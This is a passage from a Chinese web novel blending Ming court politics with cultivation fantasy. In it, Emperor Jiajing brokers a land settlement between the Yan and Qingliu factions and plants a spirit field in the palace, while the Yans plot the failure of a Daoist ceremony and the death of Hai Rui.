严世蕃忿忿的看着老爹的背影,大袖里的拳头捏的梆硬,心底对老爹的拆台很是不满。 但他也不笨,知道这个结果,应该就是自己没看清,但老爹已经看清,却没告诉自己的答案,他也明白,自己被老爹当枪使了。 嗯,行,您可真是我亲爹! 严嵩自然不知道儿子在想什么,继续开口道:“想来,徐阁老也是如此。” “毕竟事关内阁次辅,卷宗记录之事,还需要再深入的彻查,”说着,看向吕芳,道:“此次彻查走私,本就是由东厂监督。” “而国师,清风玄灵守真慧悟真人,此次东南之行第一站又是定海县,有她坐镇,东厂监督,又有海瑞、张子明等贤臣辅佐。” “想来,东南之事定能肃清,还少湖一个清白,以彰皇上之明察秋毫。” 一番话,轻松化解先前的所有矛盾,并且替嘉靖回答了徐阶的问题。 至此,玉熙宫的大殿上,帝与臣之间,再次心照不宣的达成了一笔生意,清流请皇帝出手‘收剑’,出收费正式谈拢。 “严阁老说的是,”事都谈论了,自然也就轮到嘉靖出面收尾了,“朕也相信徐阁老的人品,百姓还说,朝廷还有三门子穷亲戚。” (注:摘自《红楼梦》第六回,“不过借赖着祖父虚名,作了穷官儿,……俗语说朝廷还有三门子穷亲戚呢,何况你我。”。) “呵,”说着,嘉靖也不由露出笑容,宽和道:“不光你们,朕也有不懂事的亲戚。” “如果因为这些人办了错事,就归咎于到你们头上,那朕岂不是要做表率?” “陛下仁德。”众人听到这里,都微微欠身,纷纷感激涕零。 此时,大殿上,端的一副君臣和谐的美好画面,但小阁老严世蕃却心头忿忿不平。 “好好好,你们君臣同德、你们上下交征,你们清高,你们了不起,就我小人…哼!” 至此小阁老一个人受伤的世界达成了。 “……” 第五十二章 仁慈的父,请原谅臣等的自负!严世蕃:忠臣竟是我自己! “是君臣同德,”嘉靖抬手虚扶,示意众人平身,“天下无不是的父母,世间最难得者兄弟。(注:摘自《格言联璧·齐家类》。)” “朕是这天下臣民的君父,朝廷天下就是家。” “尔等同朝为官,既是同僚亦是兄弟。” “臣民犯错,君父岂能独善其身?”该谈的都谈拢了,接下来,嘉靖自然也要拿出自己对海瑞这事上的态度来了。 “臣民有处理不了的,自然是君父出面,为你们撑起一片天地。” “只有如此,上下交征,天下方可安定,我大明朝,才能蒸蒸日上,超迈千古。” 一番话算是明说给清流听了。 海瑞这烂摊子朕自会给你们收拾好。要不然国师为何会去东南,第一站还是定海县? 一时间,清流众人虽然对皇帝的算计和这次的暗亏,只能打碎牙往肚子里咽,但面上却纷纷一副感激涕零的模样。 没办法,海瑞可不是皇帝给塞到他们身边的,那是他们自己选的! 闹到了现在这个地步,能怪谁呢? “陛下仁德,微臣汗颜!”徐阶虽然始终一副不动如山的模样,但此前心里也提着一口气,此刻面容终于松动,欠身道谢。 徐阶开口了,张居正也跟着表明自己的态度,躬身道:“臣吾皇圣明,日月可鉴!” “君父仁慈,是臣等自负了。”赵贞吉也是神情并茂的直接喊出了仁慈的父! 浓眉大眼,性格耿直,脾气火爆的高拱也是低下了头颅,跟着道了一声君父。 清流集体表态,马匹拍的一个比一个响,看的本就窝火的小阁老严世蕃恨得牙根痒痒。 这帮清流拍起马屁来,简直令人不齿,是谁总在背地里重伤我严家只会阿谀谄媚? 无耻小人,到底谁才是奸臣? 到底是谁,才是那真正的谄媚之辈! 呵,呵呵,就是这么一帮奸佞小人,成天的在自己跟前,大放厥词,侈谈为国? 他们根本不知道,这大明朝,两京一十三省,到底是担在了谁的肩上。 被人叫了快半生奸佞的小阁老严世蕃,此刻突然有种,原来忠臣竟是我自己的错觉。 果然啊,果然是谁干的越多,谁受的委屈就越大! 一时间,心里直泛委屈。 这天下人,全都看错了这些所谓的清流,也看错了我严家,我严世蕃! “咚!咚!” 本就阴沉的天,此时雨夹着雪,气势汹汹,宫门口的暮鼓也跟着响起。 “好了,该说的都说了,朕就不留你们了,”嘉靖说着从御座上站起身,来到门口迎风而立,“天寒地滑,都回去歇着吧。” “臣等告退。”众人行礼过后,纷纷离去。 门口的小太监,则立刻帮众人披上已经烘烤暖干的裘袍子和雨伞。 这一次,严世蕃跟严嵩走在前面,严世蕃一边撑着伞,一边扶着老爹严嵩。 “爹,这就是‘庚午时,冲鼠煞北’的深意吗?”严世蕃轻声复盘着今天的一切,“让我们继续针对清流,就是为了他们交土地?” 说着,严世蕃语气一沉,向后看了眼风雨中,蒙蒙的玉熙宫,道:“如此说来,接下来东南那边,还有一出戏要唱了。” “今天唱的是压轴”,沉默着的严嵩微吸了口气,“东南的戏,就是大轴戏了。” 说话间,二人已经行至玉熙宫外。 “皇上、清流和我们唱完了,接下来,轮到代表着三方的国师、海瑞和张子明了,等国师到了定海县,戏也会完美收场。” “爹,东南清流吐出来的土地,肯定不会少,徐阶必然会拿出一定诚意让皇上满意。”严世蕃声音压得极低。 “嗯,”严嵩点了点头,“屯兵兴农是国策,重点是在边疆,东南沿海倭寇横行,再加上天灾频发,将士们也很难……” “这事也简单,等定海县“账”,全都收上来了,就交给汝贞去办。” 听到老爹早已经有了计较,严世蕃眼神中流露出喜色,没想到边疆屯兵兴农的国策还没开始呢,东南这边竟然首先有了收获。 一时间,想起今天受的委屈,倒觉得一切都是应该的了,先苦后甜嘛。 “对了爹,”突然,严世蕃像是想到了什么,道:“您说清流会交出多少?” “呵,”此时已经走到了轿子前,严嵩在俯身进轿的时候,回头给儿子一个眼神,轻笑,“我们不还是要继续彻查东南吗?” “哪里有冤情,哪里有不公,岂能做事不理?”说完,严嵩进了轿子。 严世蕃撑着伞怔了片刻,继而呼吸开始变得急促,因为兴奋,面皮都抖了起来。 一时间,他只觉得,心中前所未有的畅快。 好,好啊,哈哈哈……原来如此,原来如此啊,当真是环环相扣,布局深远! 老爹跟陛下之间,隔空交流的默契配合,当真是堪称完美,天衣无缝! 起初清流自己用人不当,给了自己等人机会。 他们自然是要抱着拉清流下马的决心一战,死咬东南不妨。就算不能拉清流下马,也能拖慢他们步伐为边疆屯兵兴农争取时间。 但巧的是,这个时候皇上出关了,清流看到了希望,不再作为,任由海瑞闹大。 他们就是要请皇上出手。 皇上自然从这件事上,看到了“商机”,出手可以,但要不菲的“钱财”。 于是,一道暗含“庚午时,冲鼠煞北”的旨意,传到了老爹这里,瞬间明了。 老爹果然厉害,瞬间明白陛下深意,嗯,太过匪夷所思了,决心继续针对东南。 如今想来,就是为了这一步做准备。 是啊,继续针对,清流要交地,能交多少,就看自己在国师赶到东南之前,能把风浪搅多大了,因为罗天大醮结束就是国师回来的日子。 在此之前,只要是海瑞和张子明他们查出来的,那清流就都要交出来。 “果真是圣明天纵,无过皇上啊……” 回想陛下出关到现在,总共也才两天时间,就完成如此精细布局,严世蕃心头发出感慨。 当然,更多的还是对老爹的佩服。 “皇上说的对,我还是要多跟爹学…”严世蕃心底暗叹一声,瞥了眼雨雪中,沉默入轿的徐阶、高拱张居正等人,突然放声大笑。 这一幕,自然引起了正要入轿几人的注意。 “今夜的雨雪,当真是祥瑞,圣明天纵,无过皇上,无过皇上,这是君父的恩赐……” “这是上天的祥瑞啊,哈哈哈!”严世蕃俯身大笑着进了轿子。 徐阶等人立在雨雪中沉默。 “严贼,欺人太甚!”高拱怒声道。 “一切都了了,了了就好,只是一时的成败而已。”徐阶一反常态的开口。 “太岳,海瑞这把剑,我们要接着用!”说完,徐阶也不等张居正等人反应,进了轿子。 东南此事,不过是上次质询会议的延续,只能是個惊心动魄的插曲而已。 接下来,边疆才是真正的战场! “……” 第五十三章 在大明开辟一块灵田出来 翌日。 雨夹雪变成了大雪。 裕王府,大殿之中,裕王、徐阶、高拱、张居正、赵贞吉几人分主次而坐。 “不管怎么说,这件事总算是解决了。”裕王喝了一口热茶,放下茶盏道。 对于他来说,东南清流损失土地,倒是不怎么在乎,父皇要恢复卫所制,也有利于朝廷。 虽然说这次之后,徐阁老家族可能要在东南大出血一次,交出大部分土地。 但不管这部分土地最后会到谁手里,就算是到了严党手里,对他来说也都一样。 等他若是上位了,也是要分化这些人的。 “皇上肯定会把东南割出来的土地,交给严党这些人的。”赵贞吉看了眼徐阶说道。 “等东南的罗天大醮结束了,这次的事也就彻底了了,就是不知道皇上会用什么理由让那海瑞回来。”张居正想的是怎么收回海瑞。 “父皇既然出手,想必全都安排好了,”裕王没兴趣在东南的问题上纠缠,话锋一转,道:“这个海瑞,还能用吗?” “我跟徐阁老商议后决定,海瑞继续用。”张居正说着,语气微微一顿,又道: “此人虽说是一把双刃剑,容易伤着我们自己,但他若是对严党这些奸佞,伤害会更大!” “虽然屯兵兴农的国策落在了严党的头上,也是由严党提出,”裕王略一沉吟,点头道:“但父皇的目的是恢复卫所制。” “如今大明财政吃紧,天灾频发,战事不断,还有各地一些微小的叛乱。” “正是用钱的时候,若是卫所制能恢复,边疆便可安定不少,应当鼓励。” 裕王说着,言辞中多了几分凌厉。 “殿下放心,我等定会尽全力,对严党严防死守,不会让他们在国策上动手脚谋利。”徐阶说话间,语气也郑重无比。 屯兵兴农的国策是皇上亲自拍板的,这是无法更改的事实,这条国策只能办好。 皇上要的是卫所制的恢复,严党则是要靠着国策‘吃肉’,他们自然不能让严党如愿。 接下来跟严党在东南的你死我活斗争,有一条不能跨越的底线,那就是国策。 其他的,随便他们怎么斗,皇帝都不会在意。 只要严党在国策的施行上出了问题,那么自然就轮到他们清流来接手了。 …… 嘉靖四十年,四月初七,晴。 西苑,玉熙宫北面一处僻静的小院。 此时,小院子的房屋已经被拆除,地板也已经拆除,只留下了四堵墙,南面直通玉熙宫。 “主子,地已经全部翻新了,”吕芳换了身便装,打扮的像是个普通庄稼人,回头笑道:“不知主子是要种什么?” 玉熙宫后门,此时也已经被打通,并且重新装上了一扇可以直通后院的大门。 一袭白色宽松麻衣长袍的嘉靖,站在台阶上的阴影下,望着面前人造的田院。 距离上次玉熙宫议政,已经过去了一个月的时间,这一个月里,各方都很安静。 严嵩父子二人,自是忙着“点兵点将”,着手开始在边疆布局,清流也没闲着。 嗯,甚至他们比严党还要忙碌。 对他们来说,一边要忙着在东南跟严党一系死斗,尽可能的撑到国师抵达,罗天大醮结束,一边还要忙着也开始在边疆布局。 “算时间,那丫头走了一个月了吧,可有消息传来?”嘉靖没有回吕芳的问题。 这一個月的时间,他都在闭关修炼。 一个月,他依旧是练气四层,修为可以说是仅有了一丝的松动迹象,而想要突破练气五层,怕是还要一些时日才行。 “昨天夜里收到黄锦的飞鸽,国师估摸着再有两三日就能抵达。”吕芳回答完,又开口道:“文孚那边已经交代了。” “黄锦到了以后会听他安排,保证东南这点事万无一失。” 吕芳办事,嘉靖自是很放心的。 点了点头,嘉靖心中一动,掌心之上出现储物袋。 他可没忘记这次回来,还带了不少好东西,比如一些修仙世界才有的修行法门,还有一些从四方城购买的一些丹药,种子等等。 而他一个月前,让人拆除打通玉熙宫的后院,也与这些不无关系。 “仙家宝物!”看到主子手上凭空出现的小袋,吕芳瞳孔微微一缩,而后默默低下头。 嗯,身为凡人,他对这些仙家之物,有着发自内心的尊敬。 只觉得用双眼直视,就是一种亵渎。 “以后你也会有。”嘉靖自然看出了吕芳的想法,笑着说了句,走下台阶。 听到主子说自己以后也会有这种仙家之物后,吕芳身体猛地一怔,继而赶紧跟上。 他知道,这是主子在明着跟他说了,他以后也会有仙缘的,也能跟着主子修仙的。 嗯,天知道,他这些时日只要回到住处,也会学着主子一般,打坐冥想,可惜一无所获。 现在得到了主子的金口玉言,这对他来说,简直就是泼天一般的富贵了。 嘉靖来到院子翻新的土地中间站定。 “吕芳,拿锄头凿个坑出来,”嘉靖踩了踩脚下柔软的土地,计算了一下大约莫数据后道:“长宽四尺…半左右,深两尺左右。” “是!”虽然不知道主子要做什么,不过吕芳还是抄起台阶下放着的锄头,来到嘉靖指定的位置,开始甩开膀子挥舞锄头。 吕芳很聪明,他已经意识到,这块开辟在玉熙宫后殿的土地,显然与修仙有关。 所以主子让他来挥舞锄头挖坑,自然是为了对其他人保密了,这是信任自己的表现。 在吕芳挖坑的时候,嘉靖则是来到了正对面的宫墙前,一抬手拿出一张黄纸符箓。 随着灵气注入,符箓化作一道金光,没入墙体之中,继而就见一道道金色的符文闪过。 之后嘉靖又如法炮制,在其他三面墙上,各打入一道符箓,最后来到玉熙宫下的台阶处,又是一连拿出三道符箓打入地底。 这次使用的禁制符箓,跟上次使用的质量完全不可同日而语,这次是中品禁制符箓。 下品禁制符箓,在修仙世界,这东西少说维持三个月,在大明最多维持一个月。 中品禁制符箓,在修仙世界则能维持一年,在大明,最多则是六个月,也就是半年时间。 而上品在修仙世界,最长可维持三到五年,若是出自一些符箓名家之手的禁制符箓,少说可以使用七八年的时间。 下品禁制符箓在四方城的售价是二两灵源六张,中品售价一两灵源两张,上品则是一两一张,要是那些名家之手的符箓更贵。 而禁制符箓在修仙世界,还只是底层修士的必备之物,一些强大修士和有‘钱’修士,一般都是法器、灵器,或者挥手布阵。 “有这些禁制符箓在,如此玉熙宫后院,就形成了一个禁制空间,”想着,嘉靖的目光又看向上方,“接下来只需要一个支撑‘天地’的柱子,朕就可以玉熙宫,开辟一片灵田。” “用这片灵田,聚集的灵气,滋养土地,或许可以发展出一片真正的灵土。” “这里,就相当于是朕的试验田。” “若是这试验灵田成功了,那就可以如法炮制,开辟出更多灵土。” “修仙界,最重要的是灵脉,凡是有灵脉汇聚之地,无不是被书院掌握。” “一旦发现灵脉,更甚至禁止私人挖取买卖,所以想要弄一条灵脉给大明,就目前来说根本不现实,只能通过灵物滋养土地的方式……” “主子,坑挖好了!”就在这时,吕芳的声音响了起来,嘉靖也收起了心思。 “……” 第五十四章 种田,也算是过过老祖宗的生活了 “主子。”看着走近的嘉靖,吕芳抬手擦了擦汗,指了指面前的土坑,开口道: “照主子吩咐的,长宽四尺半,深两尺左右,主子请过目。” “不错。”嘉靖看了看坑洞,点点头心中一动,又是一道符箓拿出,这一次注入灵气后,被他打入了自己的身体里。 “就在这里等着。”吩咐吕芳一声后,嘉靖的身体缓缓没入地底,而后消失。 这一幕,看的吕芳目瞪口呆,浑身颤抖。 “飞天遁地?!这就是传说中的仙人手段!主子他,果然修成了,成了!” “飞元真君、忠孝帝君、万寿帝君…”吕芳心中不断念叨着的同时,开始祷告起来。 嗯,他也不知道自己此刻该祷告什么,就是总觉得应该在心里念叨点什么,以示尊敬。 嘉靖使用的自然不是仙人神通。 他使用的是一张下品五行符箓中的遁地符。 在四方城,五行符箓是按包出售的,而且如果买小包的话倒也不算贵。 一般分为小包、中包和大包三种,且每种符包的质量也各有不同。 小包五行符箓各两张,共十张,售价是七两灵源每包。中包二十张,售价二十四两灵源每包。大包三十五张,售价四十九两灵源。 像五行符箓,是修仙路上最必备的东西,不管多高修为,都会备着一些。 嘉靖不是散修,门派还有金丹大修士坐镇,他又是宗门高层长老,用不着像散修一样,东跑西逛,稍有不慎就会遭遇危险。 所以五行符箓,买个小包用着就是。 一个两米高的淡黄色灵气薄膜,附着在嘉靖身上,他的身体不断向下。 入眼看去,都是泥土的颜色,还有一些石头和骨头渣子,地底动物的巢穴等等。 一窝黑耗子看到突然出现的嘉靖,吓得直接在洞里狂奔,看着地底这些“杂物”,嘉靖心中一动,一道火焰符箓打出。 下一刻,入眼所有“杂物”被清扫一空。 约莫一刻钟的时间后,嘉靖来到地下二十尺的距离处停下,而后拿出禁制符箓打入,彻底将地底二十尺以下的土地隔绝开来。 这么做,也是为了防止等会要种的灵物的灵气泄露,这二十尺的土地,以后会被逐渐同化成灵土,灵物的根茎也会随之在其中扎根。 做完这一切后,嘉靖返回了地面。 然后手上又出现一道禁制符箓,灵气注入,在吕芳的注视下,符箓化作一道清澈的水流,没入坑洞之内,霎时间灵气滚滚。 一股浓郁的灵气风暴从坑洞中涌出,直面而来,吹得吕芳跟嘉靖的衣袍鼓动。 不过吕芳却是在贪婪的大口吞吸着。 这东西,可是好东西,他这些日子来,可没少跟着主子蹭吃蹭喝。 对灵气,自然是熟悉的不能再熟悉了。 “与这几日,主子用来煮灵米的灵泉,所蕴含的灵气完全不同,更为浓郁!” 感受到符箓崔动之后,水流爆发出的那灵气波动,吕芳暗自心惊不已。 “这些是朕用灵源勾兑过的灵泉,与这几日吃饭煮米用的灵泉自然是有所不同。”嘉靖看出吕芳的神情,随口解释了一句。 为了能够顺利的在皇宫里培育出一片灵田来,他可是做足了准备,以确保万无一失! 一切准备就绪,等灵泉湿润坑洞后,嘉靖摆摆手,示意吕芳退开。 “唰!”大手一挥,继而就见一株一人高的柳树苗,被他托着缓缓放入坑洞之内。 “一棵柳树苗?”看到主子拿出的物件模样后,吕芳一愣,继而又微微摇头,暗道:“不对,主子手里的柳树苗自然不是凡物!” “这股淡淡的清香,有点像之前主子给的灵米的气味…这是一株‘仙树’!” 吕芳猜的不错,这确实不是凡树,而是长在‘大明仙宗’后山灵田的一株灵树。 灵田位于灵脉之上,在正式种植前,灵田跟凡俗的土地一样,也是要开垦的。 像是一些灵草、树苗之类的,都被宋薪柴全部拔除,因为这些东西都没用! 留着它们长在灵田里,反而会与其他灵植争夺养分,嗯,就跟杂草一样。 但这些修仙世界当做杂草,杂树的东西,却是在被嘉靖看到的第一时间,视作了珍宝。这些东西放在大明,绝对是妥妥的灵物。 于是当场就从宋薪柴处,要走一株灵树苗和一些根茎完好的灵草,理由自然简单,毕竟自己的住处,院子里也需要一些装饰。 也就是些毫无价值的东西,宋薪柴自然也不会在意,嘉靖喜欢,那就随他去好了。 不仅如此,考虑到一些灵草可能根茎被破坏,他还亲自给嘉靖连土带草的卷了十几包。 至于回去后,解释这些灵草灵树的去向,倒也简单,直接就说没种好,死了就是。 对于其他人来说,这些根本不值一提。 看着柳树苗,繁茂根茎上包裹的湿润灵土,嘉靖小心翼翼的将其放入坑洞,之后又从储物袋里拿出一部分灵土倒入其中。 “呼,”轻呼出一口气,感受着小院子里,开始充斥着的一丝丝若有若无的灵气,嘉靖心中暗暗满意,同时也不禁感慨道: “储物袋太小了,否则倒是可以装一院子的灵土,下次倒是可以换个更大的储物袋,多买几个,全部装满灵土,运到大明……” 这个想法一出现,嘉靖顿时觉得,这個想法,倒也不是不行。 嗯,若是这片试验灵田成功了,以后可以倒更多,修仙世界随处可见,大明极缺的物资。 “主子,接下来做什么?”贪婪的吞吸了口灵气,吕芳恭敬的来到嘉靖跟前问道。 “接下来?”说着,嘉靖面上挂着笑容,而后大手轻甩,跟着就见一摞摞,十几袋子半人高,水瓮粗的黑色布袋子出现。 这些黑色布袋上,还有一些纹路若隐若现,显然这些袋子,也不是凡品。 “打开看看。”嘉靖示意吕芳打开布袋。 “这些袋子里,也有类似灵米的气息,但不如那‘仙树’的浓郁,还有泥土的腥味……”想着,吕芳解开袋子,而后他整个人一愣。 只见布袋子里,装着一捆捆用湿漉漉泥土包裹着根茎,手掌长短,青翠欲滴的嫩草。 仔细看去一捆大概成年人手腕粗细,每一株嫩草大概有两到三条侧枝,根部是大半个拳头大小的泥球,包裹着细密的白色小茎。 一股股灵气的清香,伴随着泥土的腥味扑面而来,不一会吕芳就感觉面部被水雾打湿。 原来是这黑色袋子,在不断的渗出水雾,难怪水汽和腥味这么重。 “今天,咱们主仆要把这些灵草,全部种进这院子里。”嘉靖说着,卷起袖管和裤腿,当先捧起一捆嫩草,走向那株灵树苗。 “主子竟然要亲自种草……” 看着蹲在柳树下,小心翼翼栽种的嘉靖,吕芳张了张嘴,心中感到不可思议。 “还愣着做什么,你是要让朕一个人把这院子栽满灵草吗?”蹲在柳树苗下的嘉靖,插好一株灵草后,眉头一皱,回头冲吕芳低喝。 “奴婢知错,奴婢这就来……”知道自己失态了的吕芳赶紧拿起一捆灵草走向嘉靖。 “主子,要不您歇着去吧,这些就交给奴婢来,您金枝玉叶,怎能做这种庄稼活?” 吕芳有些心疼嘉靖。 向来爱干净,修成仙之前,每日都要沐浴更衣的主子,现在竟像是个庄稼汉一样,卷起袖管和裤腿,开始面朝黄土背朝天的种地。 做奴仆的,心里确实不是滋味。 “好奴婢,你的心意朕明白,”嘉靖说话间,随手掰下一株嫩草,挨着柳树苗根部,插入湿润的土地里,撇头笑看着吕芳,道: “朕没你想的那么娇贵。你是不是忘了我们朱家祖上是做什么的了,嗯?农民!” “太祖就是种地的放牛娃出身,成祖还住过猪圈,朱家的子孙,不是与生俱来高贵的……” “朕今日,也算是过过老祖宗的生活了,哈哈……”说话间,嘉靖笑了起来。 看着洒脱的嘉靖,吕芳吸了吸发酸的鼻子,道:“主子心性豁达,奴婢知道了!” 说完,开始默默种起了草。 “……” 第五十五章 海瑞拿起了大明律 一天时间过去了。 院子里,以那株柳树苗为中心,绿色的草地,正式铺就而成。 虽然看起来仍有些稀疏,但整个院子已经被绿色填充,院子里的灵气也愈发浓郁。 一缕赤红的晚霞从天际落下,院子里的绿色,被蒙上了一层淡淡的金黄色,隐约间,似乎有金色流光浮动一般,如梦如幻。 “主子,这些灵草还是有些少了。”台阶上,吕芳擦了擦脸上的汗,有些感慨。 “现在是我们强栽下去的,等过些日子,这些灵草的根就把土壤扒夯实了,”嘉靖看着院子里,稀稀疏疏,很是杂乱的灵田,道: “等六七天就知道结果了。” “若是六七天后,这些灵草能活,那灵树也能活,也就证明了,在大明是可以培育出灵田的,如此当院子里的凡土变成灵土……” 说到这里,嘉靖没有再往下说,但吕芳却是明白,若是凡土变成灵土,那就可以种谷物了,当然,这个谷物就是灵米之类的。 “主子是要让这些‘仙家’之物落凡尘啊,若是一块灵田成功,那么大明会有多少田地?若都是灵田,那……”吕芳不敢想了。 他无法想象,若是大明的田地,都是灵田,那该是何等的景象。 当然,这些都只是他的猜想。 现在的主子已经‘修成了仙’,主子的深意,早已经不是他这等凡人能揣测的了。 以院子中间的柳树苗为‘支柱’,沟通天地,四面用禁制封锁,整个玉熙宫后院,就是一个被开辟出来的灵田空间。 中品禁制符箓,在大明可以维持半年,每半年重新布置一次即可。 虽然很麻烦,但若是用这种方法,能让灵田被成功培育,一切倒也都是值得的了。 “回去吧。”说话间,嘉靖转身大手一挥,两道‘清洁符箓’甩出,作用在他跟吕芳身上,瞬间二人身上的泥污被清理一空。 一瞬间的符箓席卷全身,让身上污垢被清洗一空,吕芳也是感觉身体猛的一松。 清洁符箓,之前主子也给他用过,所以倒也并不惊讶,放下心中所想后,快步跟上。 “沐浴更衣。”长袖轻甩,关闭通向后院的大门后,嘉靖随口吩咐道。 “是。”自家的主子爱干净,显然那清洁符箓,根本不足以让他满意,这点吕芳自然是清楚,应了声后,便出偏殿去招呼小太监们了。 浴桶里,嘉靖舒服的躺下,吕芳则是为他轻轻按压着肩部和头部的一些穴位。 此时,嘉靖的意识再次进入了识海。 一挥手,面前满目疮痍,黑气缭绕的大明王朝陡然放大,没有去他处,而是选择来到皇宫。 “大明出现灵气汇聚之地,不知道在本命的观察下,会有何不同。”想着,本命旋转,视线直接来到了玉熙宫内。 看着躺坐浴桶里的自己,还有默默给自己按摩的吕芳,嘉靖眼中不由浮现出一抹笑意。 第一次用这种方式看自己,倒是挺有意思。想及此处,嘉靖心中一动,只见浴桶中的自己双眼缓缓睁开,朝着自己的方向看来。 就这样,自己跟自己进行一场诡异的对视,突然,二人皆是一笑。 “自己看自己,呵!”轻笑一声,空间变换,视线来到玉熙宫后院。 “等朕突破筑基,拥有神识后,本命与本命物绑定,那时便可以对本命进行操作,就可以实现自己举起自己的壮举了……” “果然有不同!”当视线来到后院后,嘉靖目光一凝,只见院子里不断有无形的能量,几乎化作实质一般被固定住,凝而不散。 心念一动间,视线陡然拉高。 俯瞰整个大明,果然看到皇宫处有一個明显的亮光浮现,视线缓缓下拉。 一个‘水泡’一样的,透明半球,镶嵌在皇宫里,抬手将玉熙宫后院单独放大,抬起到双目距离处,仔细端详着。 “灵气,就像是水晶球里的液体一样。”视线向下,嘉靖查看起地下的状况。 只见地底下,灵气开始朝着四周的泥土散开。 灵树和灵草的根茎部位,也开始舒展,开始吸收泥土中的那一丝丝灵气。 “希望可以存活吧……”观察片刻,并未看出什么的嘉靖收回了目光。 之后又将目光朝着东南的方向看去。 然后在距离定海县大约一百多里的路上,找到了清风乘坐的马车,正驶向驿站。 嗯,按照他们的行驶路程,晚上在驿站休息,第二天傍晚,应该就能抵达定海县。 视线来到清风乘坐的马车里。 “呵!”看着躺在马车榻上呼呼大睡,不时还吧唧一下嘴的清风,嘉靖不由轻笑,“她倒是个心大的……”而后,视线又来到了定海县。 目光锁定到了海瑞的身上。 此时,县衙后堂里,有三个人。 而在大堂中间,摆放着一条长长的案桌,桌上堆满了账册和一摞摞的卷宗。 海瑞和王用汲,以及另外一个身型高大,样貌伟岸,气质儒雅的中年人。 此人不是别人,正是监察御史,张子明。 “接到消息,国师明天下午就能到,”王用汲放下笔,揉了揉发酸的手腕,看向坐在上方翻阅账本卷宗的海瑞,“我们是要配合的……” 正在翻阅卷宗的海瑞则是毫无动静。 “刚峰兄,”王用汲张口就要继续劝说,这时边上的张子明抬手打断王用汲,“明受,放心吧,我已经安排好了一切。” “一个月前朝廷的飞鸽传书抵达,贺知府就已经安排了下来,”张子明面上挂着儒雅的笑容,看了眼依旧漠不关心的海瑞,道: “泰山、武夷山、杭州、苏州这些地方的知名道观,都有道门名宿提前而来准备着。只等国师一到,罗天大醮就能准时举行了。” “倒是不需要我们来操心。”张子明身为严党派系的人,对这事自然是极为上心的。 毕竟这位深受陛下恩宠的国师,可是严阁老和小阁老亲自送到宫里的,他自然不能轻慢。 “听说布政使跟按察使二位,还有贺知府,也都已经动身了,”王用汲点了点头,叹道:“就是不知这位钦差国师,是否好相与了……” “刚峰兄,国师是钦差,此次前来定海县,除了主持罗天大醮,为百姓祈福外,肯定还是要询问定海县的案子……” “对了文昭,”说着,王用汲看了眼漠不关心的海瑞,心中一叹,面上却看向张子明,道:“清风玄灵守真慧悟真人的尊号是何意?” “为人又如何?是否好相与?” “我跟刚峰可都不是京城来的,对这些不甚明白,你定是有消息的,提前告知我等,也好见了面,不至于失了礼数……” 被王用汲点名,张子明面上露出一抹尴尬之色。 他能被严世蕃派来定海县,自然不笨。 这么长时间了,他也早就知道,海瑞跟王用汲已经猜到了他的来历,双方心照不宣而已。 王用汲此时点名他,显然是要向自己打探国师的消息了。 “说实话这些我也不甚了解。”张子明微微摇头苦笑,道:“只知道,严阁老对国师很是重视,东厂的黄锦公公几乎是她的随从……” “这次东南之行,黄锦公公就跟在身边,总之小心应付着就是,没必要与之冲突。” 说话,点到为止。 张子明知道,王用汲问的不是道号真意,而是在向自己旁敲侧击的打探消息。 但关于国师,他确实不知道什么消息。 他唯一能告诉二人的,就是陛下对这位国师的重视,这话尤其是说给海瑞听的。 海瑞的脾气秉性,他是了解的,万一得罪了国师,怕是会栽一个大跟头。 张子明,监察御史,他也有一颗一心为朝廷,为社稷的赤子之心,只是立场不同而已,谁说严党就不能有好人? 胡宗宪,胡部堂,如今的浙直总督也是严党,更是严阁老的学生。胡部堂在他心里,那就是一位忧国忧民的好官。 也是他心中的榜样! 所以,他不希望海瑞这位好官员,因为得罪国师,从而造成一些不可挽回的事情。 他到定海县有些日子了,上面至今没有给他明确的指示,只是让他继续帮助海瑞,尽可能的彻查士绅大族。 但他坚信,除了这些,上面肯定还采取了行动,清流不会坐以待毙的。 而直觉告诉他,从上面先前给的命令,不难判断出来,等国师到了以后,定海县一事,估计也就到了真正结束的时候了。 只要这里的事情了了,海瑞等人也就算是没事了,或许还会因此而高升。 所以,他不希望这样的人无端陨落。 “不管来的是谁,”这时海瑞缓缓放下手中的卷宗,“案子都必须要查清楚!” 话毕,海瑞默默拿起了大明律。 “……” 第五十六章 海瑞必须死,严嵩的另一张牌,你可愿随朕一同修行?踏上仙途? “这个海瑞,”看到这里,嘉靖也不由微微摇头,“看来,海瑞这把‘剑’收回之前,第一个‘被砍’的要是那小丫头了。” “只等明天,看好戏了……” 严府,书房里。 “爹,清风那丫头,明晚便能抵达定海县了。”严世蕃上前看着严嵩说道。 闻言,严嵩眼皮抬了抬头,道:“事情,都吩咐下去了吗?” “吩咐下去了,”说着,严世蕃张了张嘴,有些欲言又止,道:“爹,皇上此举,岂不是在拿清风那丫头当饵,有种牺牲她的感觉……” “我们送那丫头进宫,可是奔着龙榻去的,受如此恩宠,十六岁的大明国师,还被上了尊号,身份地位,已经堪称是道门领袖。” “她第一次主持罗天大醮就以失败收场,对她的威信,那将会是致命的打击。”说着,严世蕃眉头深锁,道:“我倒不是担心她。 我是想说,皇上对她到底是什么态度……” “龙榻?”听完严世蕃的话,严嵩哼笑一声,微微抬头,看着眉头深锁,满脸愁容的儿子严世蕃,“你错看皇上了。” “打从一开始,接受我们送清风丫头入宫起,皇上就已经决定了她的用处。” “清风丫头会不会爬上龙榻并不重要,重要的是她在皇上手里是个有用的人。” “就比如这次东南之事,没有比她出面更合适的了,这就是陛下的高明之处。” “若是罗天大醮成功了,你觉得对皇上有什么好处呢?”严嵩看向严世蕃。 “您说的意思我自然是明白的。”听到老爹这么说,严世蕃叹了口气。 “明白就好。”严嵩欣慰的点了点头,自己这个儿子,其实也是很聪明的,只是随着严家的权势越来越高,他做事也就越发猖狂。 以至于,根本不再习惯性的用脑,现在经过几番的打击后,终于算是浪子回头了。 严嵩慢吞吞的拿起茶盏喝了一口。 “罗天大醮唯一的作用就是失败。还要是人为的失败,如此才算是达到了皇上的目的。” “因为失败了就会追责,一追责清流那边也就能顺势借坡下驴,交出一批人、土地和钱财。而后大家论功行赏,一切皆大欢喜。” “接下来,我们的人要跟清流的人同时行动,不能有失,”说着,严嵩眼神中闪过一抹厉色,抬眼看向严世蕃,“那个海瑞……” “放心吧爹,”严世蕃眼神也冷厉下来,道:“这位为国为民的海知县,会随着罗天大醮的失败而身死……” “好,那就好,”严嵩微微点头,“东南这把火最初就是是人为放的,那自然也要人为的烧点东西才行…这個海瑞,太危险了……” 